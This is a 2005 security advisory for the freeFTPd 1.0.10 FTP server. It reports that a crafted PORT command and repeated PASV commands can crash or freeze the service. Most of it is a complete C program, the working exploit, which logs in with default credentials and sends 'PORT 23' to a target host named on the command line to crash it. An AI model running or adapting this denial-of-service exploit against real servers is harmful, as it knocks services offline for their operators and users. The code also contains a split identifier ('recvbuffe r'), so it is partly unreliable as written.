freeFTPd 1.0.10 (Dos,Exploit)

[Stefan Lochbihler]

Author: Stefan Lochbihler
Date: 24. November 2005
Software: freeFTPd
Version: 1.0.10
URL: http://freeftpd.com/
Attack: Denial of service



about:
freeFTPd is a FTP/FTPS/SFTP server that enables user to
access remote files over TCP/IP network such as Internet.
Unlike FTP, FTPS and SFTP protocols provide security and
strong encryption of data - great for insecure network.


info:
During some tests on the freeftpd project i find out that
it is vulnerable to the following attacks.

[1]

First a loged on user is able to crash the service
if he send a port command and append some numbers.

f.e.
PORT 123

(see exploit section for more details)

[2]

If we send a PASV command with user supplied data
for a period of time the server also freeze.



exploit:

// freeFTPd Denial of Service Attack
// Tested on a Win XP Sp1 Box


#include "stdio.h"
#include "winsock2.h"
#pragma comment (lib,"ws2_32")


#define PORT 21
#define USER "root"
#define PASS "root"
#define L "--------------------------------------------------"
#define HL "freeFTPd (1.0.10) DoS Exploit by steve01@chello.at"
#define BOOM "23"

typedef unsigned long ulong;
ulong resolv_host(char *);

int main(int argc, char* argv[])
{

WSADATA wsa;
SOCKET s_target;
struct sockaddr_in addr;
WORD wsVersion;
int err=0;

if(argc<2)
{
printf("%s\n",L);
printf("%s\n",HL);
printf("%s\n",L);
printf("Usage: %s <www.target.com>\n",argv[0]);
exit(0);
}

printf("%s\n",L);
printf("%s\n",HL);
printf("%s\n",L);


if(WSAStartup(wsVersion=MAKEWORD(2,2),&wsa))
{
printf("Error WSAStartup() Error Code: %d\n",WSAGetLastError());
exit(1);
}



s_target=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if(s_target==INVALID_SOCKET)
{
printf("Error socket() Error Code: %d\n",WSAGetLastError());
exit(2);
}


addr.sin_family = AF_INET;
addr.sin_port = htons(PORT);
addr.sin_addr.s_addr= resolv_host(argv[1]);

if(connect(s_target,(SOCKADDR *)&addr,sizeof(addr)))
{
printf("Error connect() Error Code: %d\n",WSAGetLastError());
exit(3);
}

int recvsize=0;
char recvbuffer[400];
char sendbuffer[400];

//recv banner
recvsize=recv(s_target,recvbuffer,sizeof(recvbuffe r)-1,0);
recvbuffer[recvsize]='\0';
//send user
strncpy(sendbuffer,"USER ",sizeof(sendbuffer)-1);
strncat(sendbuffer,USER,sizeof(sendbuffer)-strlen(sendbuffer)-1);
strncat(sendbuffer,"\r\n",sizeof(sendbuffer)-strlen(sendbuffer)-1);

send(s_target,sendbuffer,strlen(sendbuffer),0);

//recv user stuff
recvsize=recv(s_target,recvbuffer,sizeof(recvbuffe r)-1,0);
recvbuffer[recvsize]='\0';

strncpy(sendbuffer,"PASS ",sizeof(sendbuffer)-1);
strncat(sendbuffer,PASS,sizeof(sendbuffer)-strlen(sendbuffer)-1);
strncat(sendbuffer,"\r\n",sizeof(sendbuffer)-strlen(sendbuffer)-1);

//send pass
send(s_target,sendbuffer,strlen(sendbuffer),0);

//recv pass stuff
recvsize=recv(s_target,recvbuffer,sizeof(recvbuffe r)-1,0);
recvbuffer[recvsize]='\0';

strncpy(sendbuffer,"PORT ",sizeof(sendbuffer)-1);
strncat(sendbuffer,BOOM,sizeof(sendbuffer)-strlen(sendbuffer)-1);
strncat(sendbuffer,"\r\n",sizeof(sendbuffer)-strlen(sendbuffer)-1);
send(s_target,sendbuffer,strlen(sendbuffer),0);


closesocket(s_target);
WSACleanup();



return 0;
}


ulong resolv_host(char *host)
{

ulong uhost=0;
struct hostent *th;

uhost=inet_addr(host);
if(uhost==INADDR_NONE)
{
th=gethostbyname(host);
if(!th)
{
printf("Check if %s is up \n",host);
exit(0);
}

uhost=*(unsigned long*)th->h_addr;

}



return uhost;


}


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Vendor Status: No vendor response !


Discovered and copyright by Stefan Lochbihler